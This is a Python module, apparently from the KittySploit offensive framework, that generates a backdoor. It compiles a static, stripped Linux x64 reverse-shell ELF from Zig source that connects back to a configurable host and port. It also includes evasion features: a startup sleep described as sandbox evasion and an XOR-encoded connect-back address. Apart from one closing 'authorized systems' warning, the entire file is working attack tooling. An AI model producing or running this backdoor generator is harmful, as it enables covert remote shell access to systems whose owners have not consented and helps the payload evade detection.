Zig Linux Reverse Evasion
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Pure Zig Linux reverse shell with evasion options.
Compiles a static reverse shell (no embedded shellcode) with optional startup
sleep and XOR-encoded LHOST string.
"""
from pathlib import Path
from kittysploit import *
from lib.compile.backdoor_helpers import option_value
from lib.compile.exe import ExeCompiler
from lib.compile.zig_linux_shell import build_zig_linux_shell_source
class Module(Backdoor):
__info__ = {
"name": "Zig Linux Reverse Evasion",
"description": (
"Generate a Linux x64 reverse shell compiled from pure Zig (no shellcode). "
"Supports startup sleep delay and XOR-encoded LHOST string."
),
"author": "KittySploit",
"platform": Platform.LINUX,
"arch": Arch.X64,
"session_type": SessionType.SHELL,
"listener": "listeners/multi/reverse_tcp",
"references": [
"https://ziglang.org/",
],
}
lhost = OptString("127.0.0.1", "Connect-back IP address", True)
lport = OptPort(4444, "Connect-back TCP port", True)
sleep = OptInteger(8000, "Sleep milliseconds before connecting (sandbox evasion)", False)
obfuscate_host = OptBool(True, "XOR-encode LHOST at compile time", False)
target_arch = OptChoice("x64", "Target architecture", True, ["x64"])
output_name = OptString("zig_reverse_evasion", "Output ELF filename", False)
optimization = OptChoice(
"ReleaseSmall",
"Zig optimization level",
False,
["Debug", "ReleaseFast", "ReleaseSafe", "ReleaseSmall"],
)
save_source = OptBool(False, "Save generated Zig source alongside the ELF", False, advanced=True)
def __init__(self, framework=None):
super().__init__()
self.framework = framework
def run(self):
source = build_zig_linux_shell_source(
lhost=str(option_value(self, "lhost") or "127.0.0.1"),
lport=int(option_value(self, "lport") or 4444),
sleep_ms=int(option_value(self, "sleep") or 0),
obfuscate_host=bool(option_value(self, "obfuscate_host")),
)
out_dir = Path(self.output_dir_path("backdoors/linux/evasion"))
out_dir.mkdir(parents=True, exist_ok=True)
bin_name = str(option_value(self, "output_name") or "zig_reverse_evasion").strip()
elf_path = out_dir / bin_name
if option_value(self, "save_source"):
src_path = out_dir / "zig_reverse_evasion.zig"
src_path.write_text(source, encoding="utf-8")
print_success(f"Zig source saved: {src_path}")
compiler = ExeCompiler(framework=getattr(self, "framework", None))
zig = compiler._get_zig_compiler()
if not zig.is_available():
print_error("Zig compiler not available; cannot generate ELF.")
return False
ok = zig.compile(
source_code=source,
output_path=str(elf_path.resolve()),
target_platform="linux",
target_arch="x64",
optimization=str(option_value(self, "optimization") or "ReleaseSmall"),
strip=True,
static=True,
extra_args=["-lc"],
)
if ok and elf_path.is_file():
print_success(f"Backdoor ELF generated: {elf_path} ({elf_path.stat().st_size} bytes)")
print_info(
f"Connect: {option_value(self, 'lhost')}:{option_value(self, 'lport')} | "
f"Sleep: {option_value(self, 'sleep')} ms | "
f"Host obfuscation: {option_value(self, 'obfuscate_host')}"
)
print_warning("Use only on authorized systems. Start a matching listener before running the ELF.")
return True
print_error("ELF compilation failed. Ensure Zig is installed.")
return False
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